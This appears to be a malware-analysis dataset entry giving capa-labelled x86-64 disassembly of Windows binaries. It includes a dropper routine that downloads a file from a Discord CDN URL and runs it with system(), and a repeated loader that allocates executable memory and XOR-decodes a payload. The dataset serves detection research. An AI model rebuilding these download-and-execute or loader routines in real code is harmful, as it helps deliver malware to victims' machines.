joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400014ef
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
call sym.__main
lea rax, str.https:__media.discordapp.net_attachments_1280633422846623829_1281671487899832472_image.png_ex66dc9117is66db3f97hm1237377685056180ceaeede0655a615ad6c4d50007a176c1ee8900f32f74db9bformatwebpqualitylossless
mov qword [rbp - 8], rax
lea rax, str.downloaded_file.png
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.libcurl_x64.dll_curl_easy_init]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x1400016a0
mov rax, qword [rbp - 0x10]
lea rdx, [0x1400070ea]
mov rcx, rax
call sym.fopen
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x140001575
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.Could_not_open_file_for_writing_n
mov rdx, rax
call sym.fprintf
mov eax, 1
jmp 0x1400016c5
mov dword [rbp - 0x24], 0x2712
mov rcx, qword [rbp - 8]
mov edx, dword [rbp - 0x24]
mov rax, qword [rbp - 0x18]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.libcurl_x64.dll_curl_easy_setopt]
call rax
mov dword [rbp - 0x28], 0x4e2b
mov edx, dword [rbp - 0x28]
mov rax, qword [rbp - 0x18]
lea r8, [sym.write_data]
mov rcx, rax
mov rax, qword [sym.imp.libcurl_x64.dll_curl_easy_setopt]
call rax
mov dword [rbp - 0x2c], 0x2711
mov rcx, qword [rbp - 0x20]
mov edx, dword [rbp - 0x2c]
mov rax, qword [rbp - 0x18]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.libcurl_x64.dll_curl_easy_setopt]
call rax
mov dword [rbp - 0x30], 0x40
mov edx, dword [rbp - 0x30]
mov rax, qword [rbp - 0x18]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.libcurl_x64.dll_curl_easy_setopt]
call rax
mov dword [rbp - 0x34], 0x51
mov edx, dword [rbp - 0x34]
mov rax, qword [rbp - 0x18]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.libcurl_x64.dll_curl_easy_setopt]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.libcurl_x64.dll_curl_easy_perform]
call rax
mov dword [rbp - 0x38], eax
cmp dword [rbp - 0x38], 0
je 0x140001667
mov eax, dword [rbp - 0x38]
mov ecx, eax
mov rax, qword [sym.imp.libcurl_x64.dll_curl_easy_strerror]
call rax
mov rbx, rax
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
mov r8, rbx
lea rax, str.Download_failed:__s_n
mov rdx, rax
call sym.fprintf
jmp 0x140001676
lea rax, str.Download_successful__n
mov rcx, rax
call sym.printf
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.libcurl_x64.dll_curl_easy_cleanup]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.system
jmp 0x1400016c0
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
lea rax, str.Could_not_initialize_curl_n
mov rdx, rax
call sym.fprintf
mov eax, 0
add rsp, 0x68
pop rbx
pop rbp
ret
Function at 0x140001ec0
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x14000a100]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000a0e0]
test rbx, rbx
je 0x140001f0c
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140001f06
test eax, eax
jne 0x140001f06
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140001ede
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400020c0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400020e3
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x1400020e3
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400020e4
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x14000211e
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140002115
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140002120
inc r8d
add rax, 0x28
jmp 0x1400020fc
xor eax, eax
ret

Function at 0x140002191
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140007810]
mov r8, rcx
mov rcx, r9
call sym._ValidateImageBase
test eax, eax
je 0x1400021bd
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp sym._FindPESection
xor eax, eax
add rsp, 0x28
ret
Function at 0x1400116d6
Capabilities:
Terminate process

Disassembly:
jmp 0x1400213c0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x1400118b1
Capabilities:
Parse pe header

Disassembly:
jmp 0x140022710
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140022730
xor al, al
jmp 0x1400227b1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140022743
xor al, al
jmp 0x1400227b1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14002276d
xor al, al
jmp 0x1400227b1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140022781
xor al, al
jmp 0x1400227b1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140022793
xor al, al
jmp 0x1400227b1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400227af
xor al, al
jmp 0x1400227b1
mov al, 1
add rsp, 0x38
ret
Function at 0x140020600
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011cb2
movzx eax, al
test eax, eax
jne 0x140020620
mov ecx, 7
call fcn.140011aaf
nop
mov byte [rsp + 0x20], 0
call fcn.140011ae6
mov byte [rsp + 0x21], al
cmp dword [0x14002c9f8], 1
jne 0x140020644
mov ecx, 7
call fcn.140011aaf
nop
jmp 0x14002069c
cmp dword [0x14002c9f8], 0
jne 0x140020697
mov dword [0x14002c9f8], 1
lea rdx, [0x140028660]
lea rcx, [0x140028330]
call fcn.1400115c3
test eax, eax
je 0x140020678
mov eax, 0xff
jmp 0x1400207a1
lea rdx, [0x140028220]
lea rcx, [section..rdata]
call fcn.140011ad7
mov dword [0x14002c9f8], 2
jmp 0x14002069c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011a73
call fcn.14001192e
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x1400206f9
mov rcx, qword [rsp + 0x30]
call fcn.1400114bf
movzx eax, al
test eax, eax
je 0x1400206f9
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140035020]
nop
call fcn.1400119b5
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14002072d
mov rcx, qword [rsp + 0x38]
call fcn.1400114bf
movzx eax, al
test eax, eax
je 0x14002072d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011c12
nop
call fcn.140020850
mov dword [rsp + 0x28], eax
call fcn.1400118b1
movzx eax, al
test eax, eax
jne 0x14002074c
mov ecx, dword [rsp + 0x28]
call fcn.1400110d7
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14002075b
call fcn.140011c35
nop
xor edx, edx
mov cl, 1
call fcn.140011479
mov eax, dword [rsp + 0x28]
jmp 0x1400207a1
add rsp, 0x68
ret
Function at 0x1400013f4
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x20
mov r15d, r9d
mov esi, r8d
mov r12, rdx
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r14, qword [rsp + 0x70]
xor edi, edi
mov ebp, eax
shr ebp, 4
add ebp, r15d
and dword [r14], 0
mov ecx, dword [rbx + 0x68]
cmp ecx, 1
jne 0x14000143f
mov ecx, 2
mov dword [rbx + 0x68], ecx
cmp ecx, 2
jne 0x140001499
mov rcx, qword [rbx + 0x20]
lea rdx, [rbx + 0x28]
mov rax, qword [rcx]
mov rax, qword [rax + 0x20]
call qword [0x1400084d8]
cmp eax, 0x80041700
je 0x14000148b
test eax, eax
je 0x14000146d
or dword [rbx + 0x68], 0xffffffff
or ecx, 0xffffffff
jmp 0x14000143f
mov ecx, dword [rbx + 0x30]
sub ecx, 1
je 0x140001481
cmp ecx, 1
jne 0x140001464
mov ecx, 5
jmp 0x140001486
mov ecx, 3
mov dword [rbx + 0x68], ecx
jmp 0x14000143f
mov dword [rbx + 0x68], 6
mov ecx, 6
jmp 0x14000143f
cmp ecx, 3
jne 0x140001541
and dword [rsp + 0x60], 0
test edi, edi
je 0x1400014c0
cmp dword [rbx + 0x2c], 0
je 0x1400014c0
test esi, esi
je 0x1400014c0
mov word [r12 + rdi*2], 0x20
inc edi
dec esi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
shr eax, 4
test r15d, r15d
je 0x1400014d2
cmp eax, ebp
ja 0x140001530
cmp esi, 0x200
jb 0x140001530
mov rcx, qword [rbx + 0x20]
lea r8, [r12 + rdi*2]
mov dword [rsp + 0x60], esi
lea rdx, [rsp + 0x60]
mov rax, qword [rcx]
mov rax, qword [rax + 0x28]
call qword [0x1400084d8]
test eax, eax
jne 0x140001506
add edi, dword [rsp + 0x60]
sub esi, dword [rsp + 0x60]
jmp 0x1400014c0
cmp eax, 0x80041701
je 0x140001437
cmp eax, 0x8007007a
je 0x140001530
cmp eax, 0x41709
jne 0x140001464
add edi, dword [rsp + 0x60]
sub esi, dword [rsp + 0x60]
jmp 0x140001437
mov dword [rbx + 0x68], 4
mov ecx, 4
jmp 0x14000143f
cmp ecx, 5
je 0x140001437
cmp ecx, 0xffffffff
je 0x140001567
cmp ecx, 4
je 0x14000155e
cmp ecx, 6
je 0x140001569
jmp 0x14000143f
mov dword [rbx + 0x68], 3
jmp 0x140001569
xor edi, edi
mov rbp, qword [rsp + 0x58]
mov dword [r14], edi
cmp dword [rbx + 0x68], 0xffffffff
mov rbx, qword [rsp + 0x50]
setne al
add rsp, 0x20
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret

Function at 0x1400052bc
Capabilities:
Encode data using xor

Disassembly:
push rbp
hlt
pop rbp
xchg dword [rsi - 0xd], edx
push rcx
test dword [rbx + 0x7b], eax
mov ebp, ebp
jne 0x140005328
cdq
cmp bh, byte cs:[rsp + riz*4]
cmc
pop rdi
lodsd eax, dword [rsi]
out 0x5e, al
sbb bh, byte [0x146236263]
and eax, dword [rsi]
fcmovnb st(0), st(0)
imul dword [rdx]
sbb edi, dword [rax]
test dh, 0xb7
cdq
stc
xor al, 0xbd
jae 0x1400052d6
cwde
movabs al, byte [0x3c2e0d4113264c59]
js 0x140005290
int3
xor bl, byte [rcx - 0x762c1efb]
hlt
Function at 0x140006f4d
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x140006f6b
je 0x140006f76
call 0x140006fc5
mov bl, 0xc7
lahf
pop rsi
jne 0x140006f56
call 0x140006f6e
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140006f56
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x140006fa4
je 0x140006fe2
invalid
je 0x140006ff3
jne 0x140006f56
lea rax, [0x140006e7c]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x140002bdd]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x140007094
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x1400070ed
je 0x1400070f3
call 0x1400070e4
fild qword [rdi - 0x7c]
jmp 0x174f43866
jne 0x1400070b6
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x140007076
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x140006f60
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x140006f6b
je 0x140006f76
call 0x140006fc5
mov bl, 0xc7
lahf
pop rsi
jne 0x140006f56
call 0x140006f6e
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140006f56
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x140006fa4
je 0x140006fe2
invalid
je 0x140006ff3
jne 0x140006f56
lea rax, [0x140006e7c]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x140002bdd]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x140007094
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x1400070ed
je 0x1400070f3
call 0x1400070e4
fild qword [rdi - 0x7c]
jmp 0x174f43866
jne 0x1400070b6
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x140007076
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x140006f8c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x140006f6b
je 0x140006f76
call 0x140006fc5
mov bl, 0xc7
lahf
pop rsi
jne 0x140006f56
call 0x140006f6e
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140006f56
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x140006fa4
je 0x140006fe2
invalid
je 0x140006ff3
jne 0x140006f56
lea rax, [0x140006e7c]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x140002bdd]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x140007094
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x1400070ed
je 0x1400070f3
call 0x1400070e4
fild qword [rdi - 0x7c]
jmp 0x174f43866
jne 0x1400070b6
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x140007076
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x140006fc5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x140006f6b
je 0x140006f76
call 0x140006fc5
mov bl, 0xc7
lahf
pop rsi
jne 0x140006f56
call 0x140006f6e
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140006f56
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x140006fa4
je 0x140006fe2
invalid
je 0x140006ff3
jne 0x140006f56
lea rax, [0x140006e7c]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x140002bdd]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x140007094
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x1400070ed
je 0x1400070f3
call 0x1400070e4
fild qword [rdi - 0x7c]
jmp 0x174f43866
jne 0x1400070b6
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x140007076
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x1400035c0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x1400035e1
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000360e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140003610
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140003669
test ecx, ecx
jle 0x140003649
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140003669
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140003669
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
Function at 0x140003690
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x1400036c1
xor eax, eax
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
je case.default.0x1400036d8
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x30], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1400036fb
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400036fd
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140003739
mov qword [rsp + 0x38], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x38]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x1400037ce
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140003774
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x1400037ae
nop dword [rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x1400037ce
cmp rbx, rax
ja 0x140003780
test rbx, rbx
je 0x1400037ce
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
mov rsi, qword [rsp + 0x48]
sub rbp, rbx
mov rbx, qword [rsp + 0x30]
mov rax, rbp
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x140003c30
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140014040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140003c5d
xor eax, eax
jmp 0x140003dc9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140003c97
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140003c97
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140003dc9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140003dbc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140003cda
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140003d05
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140003dc1
lea rax, [rsp + 0x48]
mov byte [rsp + 0x40], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x41]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
